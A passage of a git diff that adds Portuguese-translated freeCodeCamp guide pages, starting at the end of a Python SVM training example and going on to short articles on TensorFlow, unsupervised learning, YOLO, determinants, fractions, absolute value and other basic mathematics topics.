+        # Run stochastic gradient descent to optimize W. 
+        lossHistory = [] 
+        for i in range(iter): 
+            xBatch = None 
+            yBatch = None 
+ 
+            # - Sample batchSize from training data and save to xBatch and yBatch   # 
+            # - After sampling xBatch should have shape (batchSize, D)              # 
+            #                  yBatch (batchSize, )                                 # 
+            # - Use that sample for gradient decent optimization.                   # 
+            # - Update the weights using the gradient and the learning rate.        # 
+ 
+            #creating batch 
+            num_train = np.random.choice(x.shape[0], batchSize) 
+            xBatch = x[num_train] 
+            yBatch = y[num_train] 
+            loss, dW = self.calLoss(xBatch,yBatch,reg) 
+            self.W= self.W - lr * dW 
+            lossHistory.append(loss) 
+ 
+            # Print loss for every 100 iterations 
+            if verbose and i % 100 == 0 and len(lossHistory) is not 0: 
+                print ('Loop {0} loss {1}'.format(i, lossHistory[i])) 
+ 
+        return lossHistory 
+ 
+    def predict (self, x,): 
+        """ 
+        Predict the y output. 
+        Inputs: 
+        - x: training data of shape (N, D) 
+        Returns: 
+        - yPred: output data of shape (N, ) where value < C 
+        """ 
+        yPred = np.zeros(x.shape[0]) 
+ 
+        # -  Store the predict output in yPred                                    # 
+ 
+        s = x.dot(self.W) 
+        yPred = np.argmax(s, axis=1) 
+        return yPred 
+ 
+ 
+    def calAccuracy (self, x, y): 
+        acc = 0 
+ 
+        # -  Calculate accuracy of the predict value and store to acc variable 
+        yPred = self.predict(x) 
+        acc = np.mean(y == yPred)*100 
+        return acc 
+```
+
+#### Mais Informações:
+
+[Scikit-learn SVM](http://scikit-learn.org/stable/modules/svm.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/tensorflow-for-machine-learning/index.md b/client/src/guide/portuguese/machine-learning/tensorflow-for-machine-learning/index.md
new file mode 100644
index 0000000000..3fa41dcc24
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/tensorflow-for-machine-learning/index.md
@@ -0,0 +1,17 @@
+---
+title: Machine Learning using Tensorflow
+localeTitle: Aprendizado de Máquina usando o Tensorflow
+---
+#### O que é o TensorFlow?
+
+"O TensorFlow é uma biblioteca de aprendizado de máquina de código aberto para pesquisa e produção. O TensorFlow oferece APIs para iniciantes e especialistas para desenvolvimento em desktops, dispositivos móveis, web e nuvem."
+
+O Tensorflow permite que os usuários criem gráficos de fluxo de dados. Estas são estruturas que descrevem como um dado se move através de um gráfico. Esses nós são conectados uns aos outros, com nós representando as operações matemáticas e as conexões representando os arrays ou tensores multidimensionais.
+
+O Tensorflow permite que os desenvolvedores se concentrem mais na lógica do aplicativo do que ficar preso nos algoritmos complexos ou descobrir a maneira mais ideal de implementar esses algoritmos. Ao criar uma Deep Network, também pode se tornar tedioso determinar qual nó precisa ser conectado a qual. O Tensorflow facilita a conexão entre as camadas. Assim, fica mais fácil para os desenvolvedores se concentrarem mais em tornar o aplicativo melhor.
+
+#### Mais Informações:
+
+*   [TensorFlow](https://www.tensorflow.org)
+*   [Repositório TensorFlow GitHub](https://github.com/tensorflow)
+*   [Wikipedia — TensorFlow](https://en.wikipedia.org/wiki/TensorFlow)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/unsupervised-learning/index.md b/client/src/guide/portuguese/machine-learning/unsupervised-learning/index.md
new file mode 100644
index 0000000000..c9cdf0ff30
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/unsupervised-learning/index.md
@@ -0,0 +1,25 @@
+---
+title: Unsupervised Learning
+localeTitle: Aprendizagem não supervisionada
+---
+#### Leitura sugerida:
+
+*   https://en.wikipedia.org/wiki/Unsupervised\_learning
+*   https://stackoverflow.com/a/1854449/6873133
+*   http://mlg.eng.cam.ac.uk/zoubin/papers/ul.pdf
+
+#### Versão preliminar do artigo:
+
+O que é aprendizado não supervisionado?
+
+O aprendizado não supervisionado nos permite abordar problemas com pouca ou nenhuma ideia de como devem ser nossos resultados. Podemos derivar estrutura a partir de dados nos quais não necessariamente sabemos o efeito das variáveis.
+
+Tipos:
+
+Clustering: é usado para análise exploratória de dados para encontrar padrões ocultos ou agrupamento de dados. Pegue uma coleção de 1.000.000 de genes diferentes e encontre uma maneira de agrupar automaticamente esses genes em grupos que sejam de alguma forma semelhantes ou relacionados por diferentes variáveis, como tempo de vida, localização, funções e assim por diante.
+
+Abordagens para o aprendizado não supervisionado incluem:
+
+agrupamento. k-médias modelos de mistura. agrupamento hierárquico, detecção de anomalias. Redes Neurais. Aprendizagem Hebbiana. Generative Adversarial Networks.Aproximações para aprender modelos de variáveis ​​latentes como. Algoritmo de Expectativa-Maximização (EM) Método dos Momentos
+
+Mais alguns exemplos: Suponha que você tenha dados para um site de comércio eletrônico. Você tem uma lista de pessoas e coisas que eles encomendaram on-line na semana passada. Agora você pode usar algoritmos de clustering e encontrar o padrão nos dados, prever a tendência de compra e formular a estratégia de negócios de acordo com a tendência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/yolo-for-object-detection/index.md b/client/src/guide/portuguese/machine-learning/yolo-for-object-detection/index.md
new file mode 100644
index 0000000000..4de4839584
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/yolo-for-object-detection/index.md
@@ -0,0 +1,13 @@
+---
+title: YOLO
+localeTitle: YOLO
+---
+## YOLO - Você só olha uma vez método para detecção de objetos em tempo real
+
+O YOLO é uma estrutura combinada de classificação e detecção que é capaz de fazer previsões em tempo real e está de acordo com as estruturas de detecção de estado da arte.
+
+#### Mais Informações:
+
+*   [Papel](https://arxiv.org/abs/1506.02640) YOLO
+*   [Web site do](https://pjreddie.com/darknet/yolo/) autor
+*   [Vídeo de](https://www.youtube.com/watch?v=VOC3huqHrss) demonstração
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/2-by-2-determinants/index.md b/client/src/guide/portuguese/mathematics/2-by-2-determinants/index.md
new file mode 100644
index 0000000000..18728c8927
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/2-by-2-determinants/index.md
@@ -0,0 +1,28 @@
+---
+title: 2 by 2 Determinants
+localeTitle: 2 por 2 Determinantes
+---
+## 2 por 2 Determinantes
+
+Na álgebra linear, o determinante de uma matriz dois-por-dois é uma quantidade útil. É usado principalmente para calcular a área do quadilateral dado (polígonos convexos somente) e é também uma representação fácil de um quadilateral (polígonos convexos somente) para ser armazenado em computadores como matrizes. Cientistas, engenheiros e matemáticos usam determinantes em muitas aplicações cotidianas, incluindo processamento gráfico e de imagens.
+
+Calcular o determinante de uma matriz quadrada de dois por dois é simples e é a base da [fórmula de Laplace](https://en.wikipedia.org/wiki/Laplace_expansion) usada para calcular determinantes para matrizes quadradas maiores.
+
+Dada uma matriz A, o determinante de A (escrito como | A |) é dado pela seguinte equação:
+
+## Propriedades dos determinantes (2x2)
+
+As linhas e vetores de uma matriz de 2 por 2 podem ser associados a pontos em um plano cartesiano, de tal forma que cada linha forma um vetor 2D. Esses dois vetores formam um paralelogramo, conforme mostrado na imagem abaixo. PROVA: Que os vetores sejam M (a, b), N (c, d) originários da origem em um plano 2-D com um ângulo ( _teta_ > 0) entre eles (cabeça de um vetor tocando a cauda de outro vetor). Mas aqui não importa porque o pecado (theta) = sin (2 (pi) -teta). Então o outro ponto é P (a + c, b + d). A área do paralelogramo é a distância perpendicular de um ponto digamos N (c, d) ao vetor base, M (a, b) multiplicado pelo comprimento do vetor base, | M (a, b) |. O paralelogramo consiste em dois triângulos, portanto, a área é duas vezes de um triângulo. Deixe a distância perpendicular ser h h = | N (c, d) | \* sen ( _teta_ (ângulo entre dois vetores)) b = | M (a, b) | Área = h \* b
+
+O valor absoluto do determinante é igual à área do paralelogramo.
+
+![](https://upload.wikimedia.org/wikipedia/commons/thumb/a/ad/Area_parallellogram_as_determinant.svg/1044px-Area_parallellogram_as_determinant.svg.png) [Aqui](https://i.stack.imgur.com/gCaz3.png) está uma prova visual interessante dessa propriedade.
+
+Nota: Se o determinante for igual a zero, não há soluções (interseções) para o sistema (as linhas são paralelas).
+
+#### Mais Informações:
+
+*   [Determinante de uma matriz](https://github.com/freeCodeCamp/guides/blob/master/src/pages/mathematics/determinant-of-a-matrix/index.md "Determinante de uma matriz")
+*   [Wikipedia: 2x2 determinante](https://en.wikipedia.org/wiki/Determinant#2_.C3.97_2_matrices)
+
+![img](https://ncalculators.com/images/formulas/2x2-matrix-determinant.jpg)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/2d-shapes-polygons-and-more/index.md b/client/src/guide/portuguese/mathematics/2d-shapes-polygons-and-more/index.md
new file mode 100644
index 0000000000..0bf6743fae
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/2d-shapes-polygons-and-more/index.md
@@ -0,0 +1,35 @@
+---
+title: 2d Shapes Polygons and More
+localeTitle: Polígonos de formas 2d e mais
+---
+## Polígonos de formas 2d e mais
+
+'2D' significa bidimensional. Uma forma 2D é qualquer forma que tenha duas dimensões. Pense no que significa ter duas dimensões por um momento. Se tivéssemos apenas uma dimensão para trabalhar, poderíamos apenas retroceder ou avançar em uma linha. Uma linha é unidimensional. Se tivéssemos duas dimensões, por outro lado, poderíamos ir para frente e para trás em uma linha e virar em qualquer direção para iniciar uma nova linha. Nós somos essencialmente capazes de viajar em qualquer lugar em uma superfície plana. Na matemática, uma superfície plana é chamada de plano. Um avião é um exemplo de uma forma bidimensional. Um avião é essencialmente a maior folha de papel que você jamais encontrará. Na verdade, é uma folha de papel tão grande que nunca termina. Uma maneira de pensar sobre formas 2D é qualquer coisa que fica plana em um pedaço de papel.
+
+Qualquer figura do lado oposto, que pode ser perfeitamente e totalmente traçada em um plano, é uma figura ou polígono em 2D. Isso significa que qualquer figura com todos os pontos em um único plano é uma figura plana. Alguns exemplos são
+
+### Retângulo
+
+Número de lados - 4 Informação especial Tem quatro lados, com lados opostos paralelos e lados adjacentes de comprimento igual ou desigual (aeb) Todos os ângulos internos são de 90 graus Soma de todos os ângulos internos em 360 graus Diagonais são mutuamente perpendiculares e se dividem
+
+Área - a \* b Perímetro - 2 (a + b)
+
+### Quadrado
+
+Número de lados - 4 Informação especial Tem quatro lados, com lados opostos paralelos e todos os lados do mesmo comprimento (a) Todos os ângulos internos são de 90 graus Soma de todos os ângulos internos em 360 graus Diagonais são mutuamente perpendiculares e se dividem
+
+Área - 1/2 (base Perímetro - 4a
+
+### Triângulo
+
+Número de lados - 3 Informação especial Tem uma altura que é a distância perpendicular de um vértice para o lado oposto (base), pode ficar dentro ou fora do triângulo Soma de todos os ângulos é de 180 graus
+
+Área - 1/2 (base \* altura)
+
+### Círculo
+
+Número de lados - Infinito (Um polígono com um número infinito de lados é um círculo) Informação especial Ângulo através do centro em 360 Sempre definido a partir de um ponto conhecido como centro do círculo A distância perpendicular do centro a um ponto na periferia é chamada de raio (r) Qualquer linha que passa pelo círculo e toca a periferia em ambas as extremidades é chamada de acorde O acorde que passa pelo centro do círculo é de diâmetro
+
+Área - {pi} \* r \* r Perímetro - 2 \* {pi} \* r
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/3-by-3-determinants/index.md b/client/src/guide/portuguese/mathematics/3-by-3-determinants/index.md
new file mode 100644
index 0000000000..0935cf8650
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/3-by-3-determinants/index.md
@@ -0,0 +1,65 @@
+---
+title: 3 by 3 Determinants
+localeTitle: 3 por 3 Determinantes
+---
+## 3 por 3 Determinantes
+
+Considere a seguinte matriz, que chamaremos de A:
+
+uma
+
+b
+
+c
+
+d
+
+e
+
+f
+
+g
+
+h
+
+Eu
+
+Então o determinante desta matriz, denotado por _det (A)_ , é dado por:
+
+_det (A) = a \* (e \* i - h \* f) - b \* (d \* i - f \* g) + c \* (d \* h - e \* g)_
+
+Por favor, tenha em mente a ordem das operações na expressão acima.
+
+Por exemplo, considere a seguinte matriz, que chamaremos de B:
+
+1
+
+2
+
+3
+
+0
+
+\-3
+
+5
+
+\-10
+
+4
+
+7
+
+_det (B)_ é dado pela fórmula acima. Nós aplicamos a fórmula abaixo:
+
+_det (B) = 1 \* ((-3) \* 7 - 5 \* 4) - 2 \* (0 \* 7 - 5 \* (-10)) + 3 \* (0 \* 4 - (-3) \* (-10 ))_ , que simplificamos para:
+
+_det (B) = 1 \* ((-21) - 20) - 2 \* (0 - (-50)) + 3 \* (0 - (30))_ , o que simplificamos para:
+
+_det (B) = (-41) - 100 - 90 = -231_
+
+#### Mais Informações:
+
+*   [Determinante de uma matriz](https://www.mathsisfun.com/algebra/matrix-determinant.html) no MathIsFun
+*   [Calculadora Determinante 3x3](http://www.wolframalpha.com/widgets/view.jsp?id=7fcb0a2c0f0f41d9f4454ac2d8ed7ad6)
+*   [Determinante](https://en.wikipedia.org/wiki/Determinant) na Wikipedia
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/absolute-value/index.md b/client/src/guide/portuguese/mathematics/absolute-value/index.md
new file mode 100644
index 0000000000..b850c68790
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/absolute-value/index.md
@@ -0,0 +1,42 @@
+---
+title: Absolute Value
+localeTitle: Valor absoluto
+---
+## Valor absoluto
+
+Valor absoluto é o valor positivo de um número. Você pode pensar no valor absoluto de um número como sua distância de zero. Pode ser definido como
+
+![img](https://latex.codecogs.com/gif.latex?%5Cdpi%7B120%7D%20%5Clarge%20y%20%3D%20%5Cleft%20%7C%20x%20%5Cright%20%7C%20%3D%20%5Cleft%5C%7B%5Cbegin%7Bmatrix%7D%20x%20%26%20for%20%5C%2C%20x%20%5Cgeq%200%20%5C%5C%20-x%20%26%20for%20%5C%2Cx%20%3C0%20%5Cend%7Bmatrix%7D%5Cright.)
+
+![](https://upload.wikimedia.org/wikipedia/commons/thumb/6/6b/Absolute_value.svg/2000px-Absolute_value.svg.png)
+
+Aqui você pode ver que no gráfico de y = | x |, se -2 é entrada para a função, 2 é o resultado. Isso ocorre porque -2 tem uma distância de 2 de zero. O valor absoluto de um número nunca pode ser negativo.
+
+### Exemplos
+
+*   **Simplifique | -5 |**
+    
+    | -5 | = 5
+    
+*   **Simplifique | 0 (5) |**
+    
+    | 0 (5) | = | 0 | = 0
+    
+*   **Simplifique - | -1 |**
+    
+    \- | -1 | = - (1) = -1
+    
+*   **Simplifique | -5 (-3) + 1 |**
+    
+    | -5 (-3) + 1 | = | 15 + 1 | = | 16 | = 16
+    
+*   **Simplifique | 8 |**
+    
+    | 8 | = 8
+    
+*   **Simplifique | (-5) ^ 3 |** | -125 | = 125
+    
+
+#### Mais Informações:
+
+[Valor absoluto](http://www.purplemath.com/modules/absolute.htm "Absolute Value")
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/accuracy-and-precision/index.md b/client/src/guide/portuguese/mathematics/accuracy-and-precision/index.md
new file mode 100644
index 0000000000..b966826d62
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/accuracy-and-precision/index.md
@@ -0,0 +1,35 @@
+---
+title: Accuracy and Precision
+localeTitle: Exatidão e precisão
+---
+## Exatidão e precisão
+
+Precisão e Precisão são freqüentemente usadas de forma intercambiável, mas significam coisas diferentes.
+
+### Precisão é sobre a proximidade com o valor real
+
+Em ciência e engenharia, a precisão de uma medição é o grau de proximidade ou exatidão dessa medida com o valor real da quantidade sendo medida.
+
+Por exemplo, uma régua que mede um comprimento conhecido de 1 metro como 1 metro teria alta precisão; uma régua que mede a mesma distância de 0,8 metro teria baixa precisão. Outro exemplo seria se você está tentando medir pi, a precisão seria determinada por quão perto suas medidas são para o valor conhecido de pi: 3.141592…
+
+### Precisão é sobre a variabilidade em medições repetidas
+
+A precisão de uma medição é a repetibilidade dessa medição e expressa a variabilidade dentro dela. Em outras palavras, a precisão é conseguir aproximar-se das mesmas medidas o tempo todo.
+
+Por exemplo, se a régua mencionada acima mediu 1 metro como 0,8 metro, mediu a distância como 0,80 m, 0,79 m, 0,80 m, 0,81 me 0,80 m em sucessivas medições, a régua seria bastante precisa (as medidas têm baixa variabilidade) , embora seja impreciso. Além disso, usando o exemplo de pi acima, se suas medidas obtêm constantemente 3,12, elas são precisas, mas não precisas.
+
+### Precisão e precisão são independentes umas das outras
+
+A precisão de uma medição é independente da precisão da medição. Da mesma forma, a precisão de uma medição é independente de sua precisão. Isso significa que as medições podem ser precisas e de baixa precisão, precisas e de baixa precisão, precisas e precisas, imprecisas e imprecisas.
+
+### Analogia de basquete
+
+Uma boa analogia para entender exatidão e precisão é imaginar um jogador de basquete atirando cestas. Se o jogador atirar com precisão, seu objetivo sempre levará a bola para perto ou para dentro da cesta. Se o jogador atirar com precisão, seu objetivo sempre levará a bola para o mesmo local, que pode ou não estar perto da cesta. Um bom jogador será ao mesmo tempo preciso e exato, atirando a bola da mesma maneira a cada vez e sempre fazendo isso na cesta.
+
+![](http://cdn.antarcticglaciers.org/wp-content/uploads/2013/11/precision_accuracy.png)
+
+#### Mais Informações:
+
+*   [Precisão e Precisão das Estatísticas Como](http://www.statisticshowto.com/accuracy-and-precision/)
+*   [Precisão vs precisão do site de ciência do Sr. Evans](https://sites.google.com/a/apaches.k12.in.us/mr-evans-science-website/accuracy-vs-precision)
+*   [Precisão e precisão da Wikipedia](https://en.wikipedia.org/wiki/Accuracy_and_precision)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/add-fractions-with-unlike-denominators/index.md b/client/src/guide/portuguese/mathematics/add-fractions-with-unlike-denominators/index.md
new file mode 100644
index 0000000000..e20d4444c8
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/add-fractions-with-unlike-denominators/index.md
@@ -0,0 +1,11 @@
+---
+title: Add Fractions with Unlike Denominators
+localeTitle: Adicionar Frações com Denominadores Diferentes
+---
+## Adicionar Frações com Denominadores Diferentes
+
+Para adicionar frações com denominadores diferentes, você precisa reescrever as frações para que todas tenham o mesmo denominador. Uma maneira de fazer isso é multiplicar todos os denominadores diferentes para criar um denominador comum.
+
+### Exemplos
+
+![](https://github.com/codersc/freeCodeCamp-article-images/blob/master/guide-article-adding-fractions.png?raw=true)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/adding-and-subtracting-negative-numbers/index.md b/client/src/guide/portuguese/mathematics/adding-and-subtracting-negative-numbers/index.md
new file mode 100644
index 0000000000..04cf37a245
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/adding-and-subtracting-negative-numbers/index.md
@@ -0,0 +1,21 @@
+---
+title: Adding and Subtracting Negative Numbers
+localeTitle: Adicionando e Subtraindo Números Negativos
+---
+## Adicionando e Subtraindo Números Negativos
+
+Adicionar e subtrair números positivos é bastante direto, mas o que significa adicionar e subtrair números negativos? Vejamos um exemplo do mundo real para ter uma ideia melhor. Suponha que tenhamos uma cesta com alguns balões amarrados a ela, empurrando-a para cima e alguns pesos amarrados a ela, empurrando-a para baixo. Pense na força puxando o balão para cima como um número positivo e a força puxando-o para baixo como um número negativo. Se adicionarmos mais pesos, é como se estivéssemos adicionando um número negativo e a cesta fosse puxada para baixo. Se removermos pesos, estamos subtraindo um número negativo e a cesta é puxada para cima.
+
+### Exemplos
+
+(-1) + 3 = 2
+
+(-3) + (-3) = -6
+
+(-2) - 4 = -6
+
+(-10) + 2 = -8
+
+20 + (-44) = -24
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/adding-and-subtracting-radicals-and-square-roots/index.md b/client/src/guide/portuguese/mathematics/adding-and-subtracting-radicals-and-square-roots/index.md
new file mode 100644
index 0000000000..02f3f5d19c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/adding-and-subtracting-radicals-and-square-roots/index.md
@@ -0,0 +1,23 @@
+---
+title: Adding and Subtracting Radicals and Square Roots
+localeTitle: Adicionando e Subtraindo Raízes Radicais e Quadradas
+---
+## Adicionando e Subtraindo Raízes Radicais e Quadradas
+
+Você pode adicionar raízes quadradas "semelhantes" da mesma forma que adiciona outros tipos de números. "Como" raízes quadradas são termos que têm as mesmas partes radicais.
+
+![Fórmula mostrando 2 vezes a raiz quadrada de 3 mais 2 vezes a raiz quadrada de 3 com setas apontando para as partes da raiz quadrada como as partes radicais](https://github.com/codersc/freeCodeCamp-article-images/blob/master/article1img1.png?raw=true)
+
+Os termos acima podem ser simplificados da seguinte forma:
+
+![Fórmula mostrando 2 vezes a raiz quadrada de 3 mais 2 vezes a raiz quadrada de 3 é igual a (2 + 2) vezes a raiz quadrada de 3, o que equivale a 4 vezes a raiz quadrada de 3](https://github.com/codersc/freeCodeCamp-article-images/blob/master/article1img2.png?raw=true)
+
+Expressões com radicais diferentes podem ser simplificadas em alguns casos. Observe que as raízes principais de 100 e 9 são números quadrados.
+
+![Fórmula mostrando a raiz quadrada de 100 mais a raiz quadrada de 9 é igual a 10 mais 3 que é igual a 13](https://github.com/codersc/freeCodeCamp-article-images/blob/master/article1img3.png?raw=true)
+
+![Fórmula mostrando 4 vezes a raiz quadrada de 100 mais 3 vezes a raiz quadrada de 9 é igual a 4 vezes 10 mais 3 vezes 3 que é igual a 49](https://github.com/codersc/freeCodeCamp-article-images/blob/master/article1img4.png?raw=true)
+
+Lembre-se que sem termos semelhantes, há um limite para o quanto você pode simplificar.
+
+![Fórmula mostrando 2 vezes a raiz quadrada de 2 mais 2 vezes a raiz quadrada de 2 mais a raiz quadrada de 3 igual a 4 vezes a raiz quadrada de 2 mais a raiz quadrada de 3](https://github.com/codersc/freeCodeCamp-article-images/blob/master/article1img5.png?raw=true) ![\ sqrt {12} + \ sqrt {3} = \ sqrt {4 \ times 3} + \ sqrt {3}](http://www.sciweavers.org/tex2img.php?eq=%20%5Csqrt%7B12%7D%20%2B%20%5Csqrt%7B3%7D%20%3D%20%5Csqrt%7B4%20%5Ctimes%203%7D%20%2B%20%5Csqrt%7B3%7D&bc=White&fc=Black&im=jpg&fs=12&ff=arev&edit=0)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/adding-and-subtracting-time/index.md b/client/src/guide/portuguese/mathematics/adding-and-subtracting-time/index.md
new file mode 100644
index 0000000000..dbdeee0d90
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/adding-and-subtracting-time/index.md
@@ -0,0 +1,43 @@
+---
+title: Adding and Subtracting Time
+localeTitle: Adicionando e subtraindo tempo
+---
+## Adicionando e subtraindo tempo
+
+Existem algumas regras básicas que orientam a adição e a subtração do tempo.
+
+Aqui estão eles:
+
+60 segundos fazem 1 minuto 60 minutos fazem 1 hora 1440 minutos fazem 1 dia 24 horas fazem 1 dia 7 dias fazem 1 semana 52 semanas fazem 1 ano 365 dias fazem 1 ano 366 dias fazem 1 ano bissexto 12 meses de calendário ou 13 meses lunares fazem 1 ano
+
+Por exemplo, subtrair 1 hora e 15 minutos e 30 segundos de 4 horas resultaria nas seguintes
+
+Linha 1: 4 00 00 Linha 2: 1 15 30 -------- 2 44 30 --------
+
+Na linha 1 acima, (subtração e adição) será iniciado a partir da maioria dos números à direita (neste caso, 00). Deduzir 30 de 0 é normalmente impossível, então o que faríamos é ir para o próximo conjunto de números (00) para ver se podemos pedir emprestado. Neste caso, é impossível, então vamos para o próximo número (mais à esquerda, que neste caso seria de 1 hora - lembre-se de 60 minutos e faça 1 hora).
+
+Isto é o que gostaria neste momento
+
+3 60 00 1 15 30
+
+Em seguida, precisamos emprestar 1 minuto a partir de 60, resultando no que temos abaixo. Lembre-se, no entanto, que 60 segundos fazem 1 minuto. Reduzindo 60 por 1 unidade resulta em 59, então temos:
+
+3 59 60 1 15 30
+
+Agora podemos fazer nossas deduções
+
+60 menos 30 é 30 59 menos 15 é 44 3 menos 1 é 2
+
+Assim, subtrair 1 hora e 15 minutos e 30 segundos a partir de 4 horas resultaria em 2 horas e 44 minutos e 30 segundos.
+
+Este vídeo de youtube brincalhão para crianças também pode ser útil como vai para baixo ao muito básico. https://www.youtube.com/watch?v=HrxZWNu72WI
+
+Vamos ver um exemplo de adição adicionando 3 horas 45 minutos 20 segundos a 2 horas 20 minutos 50 segundos
+
+H M S 3 45 20 2 20 50
+
+20 segundos mais 50 segundos são 70 segundos. Recorde 60 segundos faz 1 minuto. 70 segundos, portanto, será de 1 minuto e 10 segundos 45 minutos mais 20 minutos são 65 minutos. Lembre-se de 60 minutos é de 1 hora. 65 minutos, portanto, será de 1 hora e 5 minutos 3 mais 2 é 5 (horas)
+
+então precisamos fazer as adições.
+
+5 horas + 1 hora 5 minutos + 1 minuto 10 segundos seriam 6 horas, 6 minutos e 10 segundos.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/adding-and-subtracting-vectors/index.md b/client/src/guide/portuguese/mathematics/adding-and-subtracting-vectors/index.md
new file mode 100644
index 0000000000..45649028b0
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/adding-and-subtracting-vectors/index.md
@@ -0,0 +1,19 @@
+---
+title: Adding and Subtracting Vectors
+localeTitle: Adicionando e subtraindo vetores
+---
+## Adicionando e subtraindo vetores
+
+Na álgebra linear, a soma A + B de dois vetores (A e B) é equivalente à soma dos componentes correspondentes de A e B. Por exemplo, se o vetor A for `{1, 3, 4}` e o vetor B for `{2, 5, 9}` , a soma A + B é `{1+2, 3+5, 4+9} = {3, 8, 13}` .
+
+![Uma visualização de adição vetorial.](http://mathworld.wolfram.com/images/eps-gif/ParallelogramLaw_1000.gif) 1
+
+Da mesma forma, a diferença AB entre dois vetores (novamente, A e B) é igual à diferença entre os componentes correspondentes de A e B. A diferença AB com os vetores acima é `{1-2, 3-5, 4-9} = {-1, -2, -5}` .
+
+#### Mais Informações:
+
+[Adição de vetores no Wolfram Mathworld](http://mathworld.wolfram.com/VectorAddition.html) [Adição e subtração de vetores na Wikipedia](https://en.wikipedia.org/wiki/Euclidean_vector#Addition_and_subtraction)
+
+### Fontes:
+
+1.  [Adição de vetores no Wolfram Mathworld](http://mathworld.wolfram.com/VectorAddition.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/adding-fractions/index.md b/client/src/guide/portuguese/mathematics/adding-fractions/index.md
new file mode 100644
index 0000000000..069841a735
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/adding-fractions/index.md
@@ -0,0 +1,59 @@
+---
+title: Adding Fractions
+localeTitle: Adicionando Frações
+---
+## Adicionando Frações
+
+Uma fração é geralmente usada para representar um número que é uma proporção de dois números. Considere a fração 4 ⁄ 5 , aqui 4 é chamado de numerador e 5 é chamado de denominador.
+
+#### Adicionando frações com denominador comum
+
+Adicione os numeradores de ambas as frações e coloque o resultante sobre o denominador.
+
+###### Exemplo 1
+
+Considere as frações 4 ⁄ 5 e 3 ⁄ 5
+
+1.  O denominador das frações é comum.
+2.  Os numeradores são 4 e 3
+3.  Adicione os numeradores, 4 + 3 = 7
+4.  Coloque o resultante sobre o denominador comum
+5.  Simplifique a fração resultante, se possível
+
+ 4 ⁄ 5 + 3 ⁄ 5 = 7 ⁄ 5 
+
+###### Exemplo 2
+
+ 5 ⁄ 16 + 3 ⁄ 16 = 8 ⁄ 16 (Simplificando ainda mais, 8 ⁄ 16 = 1 ⁄ 2 ) 
+
+#### Adicionando frações com diferentes denominadores
+
+1.  Converter as frações para frações equivalentes com denominador comum
+    
+2.  Para converter duas frações em denominador comum, multiplique o numerador e o denominador de uma fração pelo denominador da outra fração.
+    
+3.  Agora que as frações têm denominadores comuns, adicione os numeradores de ambas as frações e coloque o resultante acima do denominador
+    
+    Considere, a ⁄ b e c ⁄ d são frações com denominadores diferentes, você pode adicionar essas frações em uma única etapa, como abaixo,
+    
+
+ a + b + c ⁄ d = (a \* d) + (b \* c) ⁄ (b \* d) 
+
+###### Exemplo
+
+Considere as frações 5 ⁄ 6 e 5 ⁄ 15
+
+1.  Os denominadores são diferentes. Então você precisa tornar os denominadores comuns
+2.  Antes disso, se possível, simplifique as frações. Neste caso, 5 ⁄ 15 pode ser simplificado como 1 ⁄ 3 . Aqui, 5 ⁄ 15 e 1 ⁄ 3 são chamados de frações equivalentes.
+3.  Após a simplificação, as frações são 5 ⁄ 6 e 1 ⁄ 3 .
+4.  Agora, para adicionar essas frações, você deve tornar os denominadores comuns
+5.  Multiplique o numerador e o denominador de uma fração por um denominador da outra
+6.  Para a fração 5 , 6 , o denominador da outra fração é 3. Para a fração 1 ⁄ 3 , o denominador da outra fração é 6
+
+ ((5 \* 3) + (1 \* 6)) ⁄ (6 \* 3) = 21 ⁄ 18 
+
+7.  A fração resultante é de 21 ⁄ 18 . Isso pode ser ainda mais simplificado como 7 ⁄ 6
+
+ 5 ⁄ 6 + 5 ⁄ 15 = 7 ⁄ 6 
+
+7 ⁄ 6 é equivalente a 1 e 1 ⁄ 6
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/algebra/graphing-quadratics-vertex-form/index.md b/client/src/guide/portuguese/mathematics/algebra/graphing-quadratics-vertex-form/index.md
new file mode 100644
index 0000000000..b045e0aa90
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/algebra/graphing-quadratics-vertex-form/index.md
@@ -0,0 +1,25 @@
+---
+title: Graphing Quadratics Vertex Form
+localeTitle: Representação gráfica do formulário de vértice Quadratics
+---
+## Representação gráfica do formulário de vértice Quadratics
+
+Forma de vértice da equação de uma parábola:
+
+![Fórmula mostrando y equivale a vezes (x menos h) mais k](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art3img1.png?raw=true)
+
+O ponto (h, k) é o vértice. Quando a é positivo, a parábola se abre para cima.
+
+![Parábola (gráfico em forma de u) com o ponto mais baixo (o vértice) marcado com (h, k)](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art3img2.png?raw=true)
+
+Quando a é negativa, a parábola se abre para baixo.
+
+![Parábola de cabeça para baixo (gráfico em forma de u) com o ponto mais alto (o vértice) marcado com (h, k)](https://github.com/codersc/freeCodeCamp-article-images/blob/master/art3img4.png?raw=true)
+
